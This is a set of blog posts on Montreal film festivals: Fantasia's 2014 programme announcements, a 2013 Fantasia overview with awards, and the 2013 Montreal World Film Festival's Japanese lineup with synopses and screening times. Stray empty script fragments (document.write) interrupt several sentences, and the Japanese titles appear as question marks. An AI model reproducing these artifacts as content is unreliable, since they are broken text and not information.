Fantasia will close its 2014 edition with the North American Premiere of Abel Ferrara’s WELCOME TO NEW YORK, document.write(“”); the controversial latest from the legendary filmmaker behind such landmarks as BAD LIEUTENANT, KING OF NEW YORK, NEW ROSE HOTEL and the recently re-released MS 45. It is loosely based on the DSK scandal and stars the iconic Gérard Depardieu in one of the bravest performances of his career. Co-starring is the equally sensational Jacqueline Bisset.

JU-ON: THE BEGINNING OF THE END to launch its Western haunt in Montreal

Fans of classic J-Horror, rejoice! The curse of Kayoko and Toshio is back! Fantasia will be the site of the International Premiere of JU-ON: THE BEGINNING OF THE END, the anticipated new Japanese production that reboots one of the most successful and terrifying horror franchises of the 21st century in a very wise way: by remaining faithful to the original material. Director/Co-Writer Masayuki Ochiai (HYPNOSIS) brings us back to the haunted house and reinstates, slowly but surely, its oppressive atmosphere through a refined and efficient use of mise-en-scene. Co-scripted by none other than Taka Ichise.

A Subterranean New Section in our Programming

Fantasia is proud to announce the creation of a new section of programming, Fantasia Underground, dedicated to showcasing outrageous indie outsider visions created in the counter-cultural spirit that we associate with classic underground film works. It will sport four features, from Canada, USA and one from Japan:

HANA-DAMA: THE ORIGINS
Japan, Dir: Hisayasu Sato. A seemingly mundane high-school bullying drama builds into a cathartic and absurd farce of excessive, bloody, colourful revenge and retribution, care of underground cinema legend Hisayasu Sato (NAKED BLOOD, LOVE & LOATHING LULU & AYANO), co-scripted by Shinji Imaoka (of the demented pinku musical UNDERWATER LOVE). A poignant and strange social critique of girl-on-girl violence and institutional abuse at large. North American Premiere.

Additional 2nd Wave Highlights (films from Asia)

DANCING KARATE KID
Japan, Dir: Tsukasa Kishimoto. Jaw-dropping dance numbers, a flood of jokes amongst the funniest you’ll see all year and eye-popping action scenes are all part of DANCING KARATE KID, an off-the-chain action-comedy blending martial arts and musical moves. Official Selection: Hawaii International Film Festival. Canadian Premiere.

FROM VEGAS TO MACAU
Hong Kong, Dir: Wong Jin. The King of Cool, Chow Yun-Fat, is back in a signature role he made famous in the classic GOD OF GAMBLERS (seen way back at Fantasia Year One!). A royal flush of comical action madness in Wong Jing’s trademark Hong Kong style, co-starring Nicholas Tse and Chapman To. Canadian Premiere.

FUKU-CHAN OF FUKUFUKU FLATS
Japan, Dir: Yosuke Fujita. One part quirky slapstick absurdity and two parts poignant character study, FUKU-CHAN is the feelgood, laugh-out-loud indie comedy hit of this year’s fest, mixing humour and pathos in the way only fan-favourite Yosuke Fujita (FINE, TOTALLY FINE) can. Official Selection: Frankfurt Nippon Connection Festival, New York Asian Film Festival. Canadian Premiere

INGTOOGI: THE BATTLE OF INTERNET TROLLS
South Korea, Dir: Um Tae-hwa. “Koolkidneyz” and “Manboobs” take their online feud into the real world. INGTOOGI is a deep dive into the national geek consciousness of South Korea, an upbeat outsider comedy that evolves into a truly heartfelt story of alienation and loss. Writer/Director Um Tae-hwa shed a dark light on the social media generation in a very promising first feature. International Premiere

JELLYFISH EYES
Japan, Dir: Takashi Murakami. A lively celebration of the Japanese pop-culture tropes that feed the Superflat sensibility of pop-art superstar Takashi Murakami, his JELLYFISH EYES is also a heartfelt critique of Japan’s institutions in the era of Fukushima. This is a gorgeous and enchanting family friendly film with an edge that makes it a must see for film lovers of all ages. Official Selection: Sitges Film Festival. Canadian Premiere

KUNDO: AGE OF THE RAMPANT
South Korea, Dir: Yoon Jong-bin. In a time of turmoil and tyranny, a band of outlaws rises against the nobility. From the director of NAMELESS GANGSTER, a rough and ruthless adventure epic with a universal theme – righteous fury in the face of deep injustice with a stellar cast featuring Ha Jung-woo (THE CHASER) and Gang Dong-won (HAUNTERS). Quebec Premiere

3D NAKED AMBITION
Hong Kong, Dir: Lee Kung Lok. Fresh from the international festival rounds in Hong Kong, New York and Udine, this hairy beast finally comes to country of the beaver with a hardcore vengeance. This stand-alone satire sequel written by Hong Kong’s funniest writers, Chan Hing- Kar (BREAKING NEWS) and Ho Miu-Kei, mercilessly pokes fun at the adult industry, celebrity and Asian culture on all fours while retaining a socially relevant subtext. Canadian Premiere.

NO TEARS FOR THE DEAD
South Korea, Dir: Lee Jeong-beom. In the tradition Luc Besson’s THE PROFESSIONAL and and John Woo’s THE KILLER, a guilt-wracked assassin sides with his target in the hotly anticipated new film from Lee Jeong-beom (THE MAN FROM NOWHERE), a whirlwind of furious action scenes. Quebec Premiere

Fantasia 2014 gives a greater place to Quebec cinema

Returning for its sixth edition in the Fantasia International Film Festival, the Fantastic Weekend of Quebec Cinema offers an even more prominent place to Quebec cinema while remaining committed to the promotion of short film with over 160 premieres! This new edition sees the birth of the Genres du pays offering some titles of Quebec cinema that have shaped our cinematic history. Come and discover five classic presented in collaboration with the Cinémathèque québécoise. In addition, the Fantastic Weekend is proud to present six WAPIKONI MOBILE productions distributed throughout the programming. It will also offers a look at emerging filmmakers with two conferences bringing forward the creativity of young Quebec filmmakers

The Fantasia International Film Festival takes place in Montreal July 17 – August 5, 2014. For this year’s edition and onwards, Fantasia will be returning to the freshly renovated Concordia Hall Cinema as its main base, which now features an even larger screen, new seating and upgraded projection and sound.

The festival’s full lineup of screenings and events will be announced on July 10.

The full press release can be found here. You can also find more information on the festival website.

[ Traduire ]

Fantasia announces a first wave of 2014 programming

/ Clodjee / Leave a comment

The 18th annual Fantasia International Film Festival is gearing up to take Montreal by storm with three weeks of inspiration and excitement starting July 17 until August 5, document.write(“”); 2014. The full 2014 lineup of programming and special events will be revealed shortly, but in the meantime, here’s an early First Wave Announcement of several selected highlights and info to whet your appetite.
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First, Fantasia will pay tribute to three legendary figures of the fantastic genre: Ray Harryhausen, Ray Bradbury and Forrest J. Ackerman. Through their work and energy, they have inspired many of the leading figures of genre cinema in recent decades.

Fantasia is also unveiling the 2014 poster art, inspired by an old legend from Québecois folklore: La Chasse Galerie (otherwise known as “the Bewitched Canoe”). It was created by award-winning Quebec illustrator Donald Caron.


The opening film has also been announced. Fantasia 2014 will launch with the Canadian premiere of JACKY IN THE KINGDOM OF WOMEN (Jacky au royaume des filles), a sharp political satire from comic book genius Riad Sattouf (LES BEAUX GOSSES) that took the Rotterdam Film Festival by storm.

Fantasia will hold a special screening of the hotly anticipated new instalment in the Marvel Cinematic Universe: GUARDIANS OF THE GALAXY.

Now with the announcements that are more in our sphere of interests:

A LIFETIME ACHIEVEMENT AWARD FOR MAMORU OSHII

A towering and truly unique figure in Japanese animation, director Mamoru Oshii will be a recipient of Fantasia’s Lifetime Achievement Award. From pioneering OVAs DALLOS and the haunting ANGEL’S EGG, and of course the beloved PATLABOR series, of the 1980s, through the dramatically influential global hit GHOST IN THE SHELL in the mid-’90s, to its award-winning sequel and other powerful, pensive works in the new millennium (SKY CRAWLERS, AVALON), Oshii has consistently strived to bring new ideas and in fact a whole new attitude to anime. With his meticulous and idiosyncratic near-future thrillers and dramas, linked by persistent themes, motifs and concerns, Oshii asserts a complex, deeply thoughtful and decidedly adult sensibility — while maintaining the highest technical standards in the field (and hardly confining his efforts to animation). In seeking a path to call his own, Oshii has blazed a trail for fantastic entertainment worldwide to follow.

Mamoru Oshii will be receiving his award on our opening night, July 17, before a special screening of the new HD master of GHOST IN THE SHELL, being re-issued by Manga Entertainment and Anchor Bay Entertainment in celebration of the 25th Anniversary of the original manga’s publication. This will be the first time the GITS HD print has been made available outside of Japan, lovingly restored, unadulterated and awe-inspiring in its beauty.

Fantasia also announced part of it line-up. The Asian movie to be presented in 2014 includes:

CROWS EXPLODE
Japan Dir: Toshiaki Toyoda
Fists will fly and beatings will abound, but the greatest battles are always in the hearts of the sneering, delinquent punks of the notorious Suzuran All-Boys High School. After Takashi Miike, it’s now BLUE SPRING director Toshiaki Toyoda’s turn to make a knuckle mark on the CROWS ZERO franchise. North American Premiere

GIOVANNI’S ISLAND
Japan Dir: Mizuho Nishikubo
A gracefully executed anime from Production I.G, examining the struggles of the Japanese in the immediate aftermath of World War II, from the perspective of a child. As beautiful as it is devastating, GIOVANNI’S ISLAND received a Jury Mention at the prestigious Annecy International Animation Film Festival. Canadian Premiere

HAN GONG-JU
South Korea Dir: Lee Su-jin
A troubled teenage girl flees her past — is she guilty or a victim? A multiple prize winner, notably attaining the Silver Tiger Award at this year’s Rotterdam International Film Festival, HAN GONG-JU is a magnificent yet devastating debut feature of incredible narrative virtuosity. Canadian Premiere

THE HUNTRESSES
South Korea Dir: Park Jae-hyun
A trio of daring and dangerous bounty-hunting beauties find themselves in a high-risk, high-stakes game of subterfuge and swordplay in medieval Korea. A rousing and fast-paced action-adventure with a dash of romance and a barge-load of slapstick laughs! International Premiere

KILLERS
Indonesia/Japan Dir: The Mo Brothers
Two serial killers. One likes to kill, the other seeks justice. The problem is, the first one is mentoring the latter… Social media will bring a storm of blood over both Tokyo and Jakarta in this shocking yet incredibly smart horror thriller in the vein of THE CHASER and COLD FISH that floored audiences at Sundance. Canadian Premiere

LIVE
Japan Dir: Noboru Iguchi
When his mother is kidnapped and a stranger calls, Naoto is thrust into a public triathlon of death. DEAD SUSHI director Noboru Iguchi’s running go at the survival-race genre is loveably lurid, super-sanguinary fun. North American Premiere

MISS GRANNY
South Korea Dir: Hwang Dong-hyeuk
74-year-old grandmother Oh Mal-soon has been magically transported into the body of her 20-year-old self. Seizing the opportunity to relive a youth she sacrificed in the name of her child, she sets out to explore a world of new possibilities. And it includes K-Pop… Canadian Premiere

MONSTERZ
Japan Dir: Hideo Nakata
A sinister sociopath with psychic powers squares off against a cheerful everyman with a secret of his own. The 2010 South Korean superhero/horror hybrid HAUNTERS, remade by Japanese cult director Hideo Nakata (RINGU), with stars Tatsuya Fujiwara (SHIELD OF STRAW) and Takayuki Yamada (CROWS ZERO). Canadian Premiere

ONCE UPON A TIME IN SHANGHAI
Hong Kong Dir: Wong Ching-Po
Opium and kung fu! The glory days of old Shanghai — or are they? Two generations of true kung fu experts collide in the spectacular martial arts feast, with breathtaking choreography by Yuen Woo-Ping and Yuen Cheung-Yan! Canadian Premiere

PUZZLE
Japan Dir: Eisuke Naito
The staff and students at Noriaki Hill High School have been given a game to play, one in which mistakes can be fatal. A giddy, gory brain-twister of a teen survival thriller, in which vengeance is as much a first step as a final solution. North American Premiere

SWEET POOLSIDE
Japan Dir: Daigo Matsui
Two swim-team members, a hairless boy and a hirsute girl, discover the pangs and tangles of first love in SWEET POOLSIDE, one of the most astute examination of adolescence to screen in a long time. North American Premiere

THE WHITE STORM
Hong Kong Dir: Benny Chan
Hopping from Hong Kong to Thailand to Macau, blending hard-hitting action with powerful drama, Benny Chan’s vividly stylish THE WHITE STORM is a sprawling, absorbing crime flick in the classic Hong Kong tradition. Canadian Premiere

The Fantasia International Film Festival takes place in Montreal July 17 – August 5, 2014. For this year’s edition and onwards, Fantasia will be returning to the freshly renovated Concordia Hall Cinema as its main base, which now features an even larger screen, new seating and upgraded projection and sound.

The festival’s full lineup of screenings and events will be announced on July 10.

The full press release can be found here. You can also find more information on the festival website.

[ Traduire ]

Fantasia 2013 Overview

/ Clodjee / 1 Comment


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To follow up on my presentation of the Fantasia 2013 programmation, document.write(“”); I am adding here a few comments on this 17th edition of the Fantasia International Film Festival that just concluded.

This year the Japanese selection of the festival was offering thirty-three movies (including eight anime and three shorts). Unfortunately, I don’t have time anymore to queue to watch every Japanese movies like I used to do, and I also feel that I don’t fit with that kind of young, over energetic crowd anymore. But at least I was able to watch one movie and review two: Thermae Romae and Library Wars. There are a few more movies that I wished I would have been able to screen, like the Rurouni Kenshin live-action or Garden of Words, the latest Makoto Shinkai’s anime.


If you want to know more about the Japanese movies offered at this year’s Fantasia, I can recommend you the very interesting review by Claude R. Blouin at Shomingekiblog about seven of those movies (in french). Mr. Blouin says:

I draw the attention of literature’ lovers on a film whose spirit should reach readers of Gabrielle Roy, The Garden of Words, as well as on The Great Passage, which is about the life of words. About the world of image, Helter Skelter is noteworthy. Also Key of life for the relationship between play and adaptation. The introduction should give everyone some leads to go to the movies more likely to answer their concerns.

In a press release, the festival announced that it has reached “record attendance numbers this year, boasting more than 125,000 festival-goers for its 17th edition, surpassing last year’s record of 109,000 (a 15% increase). Over the course of its three-week film marathon, it presented over 131 features from 31 countries and more than 220 shorts from across the globe.” They also proudly announced this year’s prize-winners. Here we will list only those from Asia:

Fantasia Awards:

  • Best Director: Hou Chi-Jan (Taiwan) for When a wolf falls in love with a sheep
  • Best Actor: Cho Jae-hyun for The Weight by Jeon Kyu-hwan (South Korea)

Audience Awards:

  • Best Asian Feature:
    – Gold: HK/Forbidden Super Hero by Yuichi Fukuda (Japan)
    – Silver: Lesson of the Evil by Takashi Miike (Japan)
    – Bronze: How to Use Guys with Secret Tips by Lee Wonsuk (South Korea)
  • Best Animation Feature: The Garden of Words by Makoto Shinkai (Japan)
  • Guru Prize For Most Energetic Film: HK/Forbidden Super Hero by Yuichi Fukuda (Japan)

You can find more information on the prize-winners over at Anime News Network.

I’d like to share one last thought about a complain that I heard again and again over the years: the line-ups. I guess that the festival is a victim of its own success. It is a problem that has always plagued the festival and that keeps people from attending. I heard many time (even this year) people saying that they would not come to Fantasia because they didn’t like the long line-ups (I, myself, abhors waiting in line and it’s one of the reasons that kept me from attending lately — besides being quite busy and not being a fan of the loud, rowdy crowd that seems to favours Fantasia). You line-up to get the tickets and then line-up again to get into the theatre. In a way, it’s a boon for the festival since most shows are sold out and not much can be done anyway to improve the experience for the viewers…

When I went to see Library Wars I must admit that I didn’t wait for the tickets, but, since I arrived only an half-hour early, I ended up waiting in line way over the corner of Ste-Catherine street, a little past the Centre Hi-Fi! Of course, the VIPs (guests, press or “friend” of the festival) have their own, much shorter line-up, but, surprisingly, it seems that even the $250 “Fantasia Passport”, giving access to every films, does not give priority access to screenings. I surely miss the time when it was worth for me to get a press accreditation. Now I am too busy and won’t bother with the accreditation process just for one or two movies. It’s too bad because the Fantasia selection of movies always includes some very interesting titles that can’t be ignored.

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Montreal World Film Festival 2013

/ Clodjee / Leave a comment

In a press conference today, document.write(“”); the Montreal World Film Festival announced the programming of its 37th edition, which will be held from August 22 to September 2. The festival will present 432 films including 218 feature-length movies (of which 113 will be world or international premieres, along with 39 North American premieres and 41 Canadian premieres), 14 medium-length and 200 short films. 71 of those fiction features-length movies will be first features (the first film of its director), of which 20 will be in competition.
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This year the slogan of the festival is “The world is yours” and the “dominant theme in the films of the competition this year, is that of human beings caught a changing world, facing new realities”. Screenings will be held at the Cinema Imperial (CI) and Théatre Maisonneuve (TM) for the movies in competition, and at the Cinema Quartier Latin (QL) for the rest. You can read more details in the press release announcing this year’s line-up.

This year the festival is offering us eleven Japanese movies: one in official world competition, one in the World Great category (out of competition), eight in the Focus on World Cinema (including one short) and one short student movie.

It is also worth noting that this year festival spotlight shines on the Korean cinema of today, with ten feature films and eight short films.


Here’s some Clips from World Competition films on Youtube:


The World Competition

  • Rikyu ni Tazuneyo ( ??????? / Ask This of Rikyu ): Japan, 2013, 123 min.; Dir.: Mitsutoshi Tanaka; Scr.: Eriko Komatsu (Based on a novel by Kenichi Yamamoto); Phot.: Takeshi Hamada; Ed.: Kazunobu Fujita; Mus.: Taro Iwashiro; Distri.: Toei; Cast: Miki Nakatani, Ebizô Ichikawa, Yusuke Iseya, Nao Omori.

    “As thunder crashes and rain pours down, 3000 soldiers surround the home of tea master Rikyu. Chancellor Toyotomi Hideyoshi has ordered him to commit suicide. As he sits and contemplates his death, his wife So-on speaks to him: “There is one who is always in your thoughts.” Old memories are revived… Son of a fish shop owner Tanaka Yoshiro studied the Japanese tea ceremony and became one of the great influences on its traditions. An exponent of the “wabi” style of ceremony, which eschewed expensive accoutrements in favour of rustic simplicity,Tanaka, now going by the name of “Soeki”, came to the attention of Oda Nobunaga who appointed him tea master. When Oda died and power passed to Hideyoshi, Soeki continued in his role as “emperor of tea” and was ennobled with the name of “Rikyu” so that he could enter the palace as Hideyoshi’s assistant. But Hideyoshi is a jealous and paranoid ruler and he purges his closest confidants. The final object of Hideyoshi’s obsession is connected with Rikyu’s youth…” (Festival’s Program)

    Schedule: Sun 9/01 9:00 CI; Sun 9/01 19:00 TM; Mon 9/2 14:00 CI.

World Great (Out of Competition)

  • Kiyosu Kaigi ( ???? / The Kiyosu Conference ): Japan, 2013, ? min.; Dir. & Scr.: Koki Mitani (based on his own novel); Mus.: Kiyoko Ogino; Phot.: Hideo Yamamoto; Ed.: Soichi Ueno; Prod. Des.: Yohei Taneda; Cost. Des.: Kazuko Kurosawa; Cast: Koji Yakusho, Yo Oizumi, Fumiyo Kohinata, Koichi Sato, Satoshi Tsumabuki, Tadanobu Asano, Susumu Terashima, Denden, Kenichi Matsuyama, Yusuke Iseya, Kyoka Suzuki, Miki Nakatani, Ayame Goriki, Minosuke Bandou, Kenji AnanShinpei Ichikawa, Shota Sometani, Eisuke Sasai, Keiko Toda, Zen Kajiwara, Catherine Seto, Yoshimasa Kondo, Kazuyuki Asano, Kankuro Nakamura, Yuki Amami, Toshiyuki Nishida.

    “In 1582, before the unification of Japan, Nobunaga Oda was forced to take his own life at Honno-ji Temple during a violent revolt led by Mitsuhide Akechi. Following Oda’s death, the powers in Japan held the Kiyosu Conference — the “conference that changed the course of history” — to resolve the Oda clan’s succession of leadership and redistribute Mitsuhide Akechi’s territories. Hideyoshi Toyotomi, Nagahide Niwa and Tsuneoki Ikeda meet to decide on a successor. The conference would become Japan’s first group-made political decision. In this film, director Koki Mitani, known especially for his comedies, gives us his unique interpretation of the intricate web of human relationships involved in this process as the brave general Katsuie Shibata and Hideyoshi Hashiba, who would later unify Japan, engage in a battle of wits, deceit and bargaining.” (Festival’s Program)

    Schedule: Wed 8/28 19:00 QL9; Thu 8/29 12:10 QL15; Mon 9/2 16:20 QL15.

    Read our commentary on this movie.

Focus on World Cinema

  • Botchan ( ????? / Bozo ): Japan, 2013, 130 min.; Dir.: Tatsushi Omori; Scr.: Tatsushi Omori & Hidemori Tsuchiya; Mus.: Yoshihide Ohtomo; Phot.: Atsuhiko Fukaya; Ed.: Ryô Hayano; Art Dir.: Michitoshi Kurokawa; Prod.: Takahiko Kondo, Shinichiro Muraoka; Cast: Shingo Mizusawa, Shohei Uno, Yasushi Fuchikami, Ai Tamura, Shinsuke Suzuki, Masashi Endo, Emiko Imaizumi, Kagetora Miura, Jyo Hyuga.

    “Tomoyuki Kaji, 28, is socially inept and thoroughly lacking in self-confidence. “If you die, are you happy then?” he asks on the Internet. An employment agency sends him to work at a factory in Nagano where he meets Tanaka, a co-worker who suffers from narcolepsy. “To the stars, we’re all alike,” he muses, and the pair become fast friends. This is new territory for Kaji, and he is exhilarated. Out for a drive one night, they meet Yuri, a young girl who has fled the clutches of their co-worker, Okada. Charmed by Yuri, they attempt to protect her. But this isn’t as simple as they imagine…” (Festival’s Program)

    Schedule: Fri 8/23 13:30 QL12; Sat 8/24 10:10 QL12; Sun 8/25 11:30 QL12.

    Read our commentary on this movie.

  • Hakoiri musuko no koi ( ??????? / lit. “Love of a Son who is in the Box” / Blindly in love ): Japan, 2013, 108 min.; Dir.: Masahide Ichii; Scr.: Masahide Ichii, Takahiro Tamura; Mus.: Ren Takada; Phot.: Daisuke Sôma; Ed.: Chieko Suzaki; Prod.: Chikako Nakabayashi, Yumiko Takebe; Cast: Gen Hoshino, Kaho, Sei Hiraizumi, Ryoko Moriyama, Ren Osugi, Hitomi Kuroki, Honoka, Shuntaro Yanagi, Miyako Takeuchi, Kanji Furutachi.

    “Shy and socially inept, Kentaro Amanosizuku, 35, works for the city but lives with his parents, a pet frog and video games as his chief interests. Worried about their son’s future, Kentaro’s parents look into matchmaking services, seemingly to no avail. Then a nibble. Would Kentaro be interested in meeting their daughter Naoko? A meeting is arranged. Naoko is a beautiful young woman but she is blind. Kentaro is smitten. But Naoko’s father has his doubts about Kentaro and the meeting comes to nought. Then, one day, Naoko’s mother comes to visit at Kentaro’s office. Is he still interested in her daughter?” (Festival’s Program)

    Schedule: Tue 8/27 21:20 QL9; Wed 8/28 13:40 QL9; Thu 8/29 12:00 QL9.

    You can see the Q&A on Vimeo and read our comment.

  • Judas ( ?? / Yuda ): Japan, 2013, 109 min.; Dir.: Izumi Ohtomi; Scr. Izumi Ohtomi & Kurumi Tachibana (based on her autobiography); Phot.: Natsuha Nakamura; Ed.: Masaki Murayama; Mus.: Masataka Kitaura; Prod.: Harumi Hoshino; Cast: Ayame Misaki, Sho Aoyagi, Kenji Mizuhashi, Noriko Aoyama, Ryohei Suzuki, NorA, Yusei Tajima, Itsuji Itao.

    “Erika’s life fall aparts when her boyfriend leaves scars on both her heart and her face. The manager of the family restaurant where she works part time refuses to let her work with a scarred face, and she has no way to pay for an abortion. She resolves never again to be at the mercy of sentiment. She decides to become a hostess at the Elleseine nightclub in Tokyo’s notorious Kabukichio entertainment and red-light district. Before long she has risen to the top, becoming the club’s number one hostess. But material fortune doesn’t always translate into personal happiness. Can she have her cake and eat it?” (Festival’s Program)

    Schedule: Fri 8/30 16:50 QL9; Sun 9/01 21:20 QL15.

  • Case of Kyoko, Case of Shuichi: Japan, 2013, 135 min.; Dir. & Scr.: Eiji Okuda; Phot.: Takahiro Haibara; Ed.: Manabu Shinoda; Mus.: Hibiki Inamoto; Prod.: Takahito Obinata, Miyako Kobayashi; Cast: Sakura Ando, Tasuku Emoto.

    “Minamisanriku, Japan, was devastated by the tsunami of March 11, 2011, with most buildings destroyed by waves of 16 metres or higher, and over half the town’s population swept away or drowned. With 90% of the town gone, there’s no “home” there anymore for former residents Kyoko and Shuichi. For psychological reasons as well: left behind were a mother and a child. What does the future hold for the living?” (Festival’s Program)

    Schedule: Sat 8/24 13:10 QL12; Sun 8/25 21:10 QL12; Thu 8/29 19:00 QL12.

    Read our commentary on this movie.

  • Shanidar no hana ( ???????? / The flower of Shanidar ): Japan, 2013, 105 min.; Dir.: Gakuryu Ishii; Scr.: Hiroaki Jinno, Gakuryu Ishii, Tomofumi Tanaka; Phot.: Yoshiyuki Matsumoto; Mus.: Michiaki Katsumoto; Cast: Gou Ayano, Haru Kuroki, Kanji Furutachi, Ayumi Ito, Rio Yamashita, Yuiko Kariya.

    “The “shandihar flower” only grows on certain women. Mysterious buds germinate on their skin and then bloom into beautiful flowers whose extracts lead to a new miracle drug at the “Shanidar Laboratory”. Kyoko and Ohtaki work at the lab, and are always on the lookout for new donors, but not all women are cooperative. That’s when Kyoto’s charm comes into play. Meanwhile, abnormal side effects begin to appear stemming from the flower-removal surgery. Harvesting these flowers may be triggering something dangerous.” (Festival’s Program)

    Schedule: Fri 8/23 16:40 QL15; Sat 8/24 16:30 QL9; Sun 8/25 9:20 QL9.

    Read our commentary on this movie.

  • Kyoaku ( ?? / The Devil’s Path ): Japan, 2013, 128 min.; Dir.: Kazuya Shiraishi; Scr.: Kazuya Shiraishi & Izumi Takahashi (based on a non-fiction novel); Phot.: Takahiro Imai; Ed.: Hitomi Kato; Mus.: Goro Yasukawa; Cast: Takayuki Yamada, Lily Franky, Chizuru Ikewaki, Pierre Taki.

    “Journalist Shuichi Fujii receives a letter from convicted killer Junji Sudo. Writing from death row, Sudo wants to confess to crimes unknown to the police. Visiting Sudo in prison, Fujii learns about “Doc” who masterminded a string of murders. Set up by Doc, Sudo seeks revenge and implores Fujii to find the evidence needed to arrest his former boss. Working from Sudo’s sketchy memories, Fujii begins to piece together a grizzly tale of extortion, torture, rape, and arson. But as his desire to see Doc brought to justice nears a climax, he runs into resistance from unexpected sources.” (Festival’s Program)

    Schedule: Fri 8/23 21:30 QL9; Sun 8/25 16:20 QL9; Mon 8/26 11:50 QL9.

    Read our commentary on this movie.

  • Shijuukunichi no Reshipi ( ???????? / lit. “Recipe of 49 Days” / Mourning Recipe ): Japan, 2013, 130 min.; Dir.: Yuki Tanada; Scr.: Hisako Kurosawa (based on a novel by Yuki Ibuki); Phot.: Ryuto Kondo; Ed.: Ryuji Miyajima; Mus.: Yoshikazu Suo; Cast: Renji Ishibashi, Masaki Okada, Fumi Nikaidô, Hiromi Nagasaku, Taizo Harada.

    “When Ryohei’s wife, Otomi, suddenly passes away, Ryohei is deeply depressed, without the strength to live. Two weeks after her death, a woman visits Ryohei and gives him a recipe book which was left by Otomi, a “recipe book” for a happy life. Meanwhile, Ryohei’s daughter Yuriko comes to visit him. Yuriko’s own marriage is about to end in divorce and she will have use for Otomi’s “recipe book”.” (Festival’s Program)

    Schedule: Mon 8/26 11:30 QL11; Tue 8/27 21:00 QL11; Wed 8/28 16:30 QL11.

    Read our comment.

Focus on World Cinema — Short Films

  • Rhizome ( ???? ): Japan, 2013, animation, 6 min.; Dir./Scr./Phot./Ed./Prod.: Masahiro Ohsuka; Mus.: Zokei Lab.

    “”Write, form a rhizome, increase your territory by deterritorialization, extend the line of flight to the point where it becomes an abstract machine covering the entire plane of consistency.” Inpsired by the philosophies of Gilles Deleuze and Félix Guattari. ” (Festival’s Program)

    Schedule: Tue 8/27 21:30 QL14; Fri 8/30 17:20 QL14.

Best Student Films of the World

  • Live with the sea (?????): Japan/Singapore, 2013, 8 min.; Dir./Phot./Ed.: Yuichiro Nakano.

    “When the massive tsunami hit northern Japan in March 2011, a fisherman just barely escaped on his boat. He lost everything, including friends and family. Grateful to have survived, he donates fish to needy people. ” (Festival’s Program)

    Schedule: Sun 8/25 18:50 QL14; Sat 8/31 16:20 QL14.

Our cinema: review of a year of hits

  • Karakara (????): Canada/Japan, 2012, 103 min.; Dir./Scr./Ed.: Claude Gagnon; Phot.: Michel St-Martin; Light.: Motoshi Kinjo; Sound: Masahiro Yokozawa & Louis Collin; Cost.: Yuko Arai; Ass. Dir.: Masato Tanno; Mus.: Yukito Ara; Theme Song: Sakishima Meeting (Yukito Ara & Isamu Shimoji); Prod.: Takako Miyahira, Samuel Gagnon, Claude Gagnon; Exec. Prod.: Yuri Yoshimura Gagnon; Cast: Gabriel Arcand, Youki Kudoh, Megumi Tomita, Yuichi Atta, Toshi Moromi, Tenyu Okuda, John Potter, Takayuki Ichise, Mieko Taira and a special appearance by Toshiko Taira. Was screened at Cannes in May 2012 as part of “Perspective Canada.”

    Looking to embark on a spiritual journey, Pierre Masson, a 61-year-old retired Quebec university professor, ends up making a short, unsettling trip around Okinawa with Junko, a 40-year-old runaway wife. The unprepared intellectual would rather not get involved with this unlikely and passionate lover, especially in an unfamiliar and disorienting cultural context. The confused, unwilling sexagenarian decides nevertheless to follow his destiny, unsure of where it (she?…) will take him.

    Schedule: Sun 8/25 20:30 Espace Culturel G.-E. Lapalme (Place des Arts).

Korean Cinema of Today — Feature Films

There’s also some information on Coco Montreal Facebook page (Oops! In Japanese only)

The schedule is available: list of Japanese movies and full schedule (PDF).

See the coverage of the festival on La Presse (in french).

More details and links will be added as the information become available (whenever I can).

Updated: Details on “Ask This of Rikyu”, list of Korean films (8/8); details on “Kiyosu Kaigi” & “Botchan”, AsianWiki links (8/9); details for most of the other films (8/10); schedule links (8/16); Korean movies’ links, schedule, description and remaining details (8/17); commentary link for Botchan (8/23).

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Fantasia 2013

/ Clodjee / Leave a comment


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The 17th edition of the Fantasia International Film Festival will be held in Montreal from July 18 to August 7, document.write(“”); 2013. Screenings will take place at the Cinéma Impérial, Concordia’s J.A. De Sève theatre, the Cinémathèque Québécoise and at the Place des Arts. This year the festival is offering a lineup of over 120 feature films and more than 250 shorts. It will open with Takashi Miike’s Shield of straw and will close with Edgar Wright’s The world’s end. For more details check the festival’s web page at www.fantasiafestival.com.

Here our main interest is the asian programming which is offering over fifty movies from eight countries (besides Japan (33): South Korea (10), Hong Kong (4), and Taiwan (3), as well as China (1), Vietnam (1), Thaïland (1) and India (2)) and explores a multitude of genres and trends under the sign of diversity, audacity and celebration.

The Japanese selection presents thirty-three movies (including eight anime and three shorts). The notable live-action titles are the manga-related Gatchaman (international premiere), Library Wars (Canadian premiere, directed by Shinsuke Sato also known for Gantz), Rurouni Kenshin and Thermae Romae. The notable anime includes Evangelion: 3.0 You Can (Not) Redo by Hideaki Anno and Makoto Shinkai’s Garden of Words. The shorts includes works by Katsuhiro Otomo (Akira), Masaaki Yuasa (Mind Game) and Shuhei Morita (Kakurenbo: Hide & Seek).

You can also find information on Anime News Network and Coco Montreal.

See the complete list (with links to full description) after the jump:


Anime

  • 009 Re: Cyborg (Dir.: Kenji Kamiyama, North American premiere, 104 min.)
  • After School Midnighters (Dir.: Hitoshi Takekiyo, North American premiere, 94 min.). “A school’s morbid monsters of the night are no match for a trio of irrepressible little girls in this charming, distinctive and eye-poppingly weird work of 3D digital animation from Japan. Scientifically proven to spook and amuse! Official Selection: Annecy International Animation Film Festival 2013, Raindance Film Festival, Sitges International Fantastic Film Festival 2012.”
  • Berserk Golden Age Arc II: The Battle for Doldrey (Dir.: Toshiyuki Kubooka, Canadian premiere, 95 min.). “Guts, Griffiths and the Band of the Hawk hack and slash their way to the top of the bloody heap in this spectacular animated work of medieval mayhem that makes Game of Thrones seem like a pillow fight. Official Selection: Annecy International Animation Film Festival 2013.”
  • Berserk Golden Age Arc III: The Advent (Dir.: Toshiyuki Kubooka, North American, 110 min.). “Leaving the blood-soaked battlefields of medieval Midlands behind, the Band of the Hawk are drawn ever deeper into something far more dire and nightmarish as the manga adaptation draws to an apocalyptic close.”
  • The Burning Buddha Man (Dir.: Ujicha, North American premiere, 80 min.). “Gruesome abductions, a mysterious monk, monstrosities from a realm beyond our grasp… A truly independent oddity, using the forgotten “gekimation” (live-action paper cutout) technique. Weird, wondrous and way out there!”
  • Combustible (Dir.: Katsuhiro Otomo, Canadian Premiere, 12 min.).
  • Evangelion: 3.0 You Can (Not) Redo (Dir.: Hideaki Anno, North American premiere, 96 min.). “Fourteen years have elapsed since the last film’s events — alliances have shifted and the stakes have raised in Hideaki Anno’s masterful feature-film revision of his challenging and amazing Evangelion anime series!”
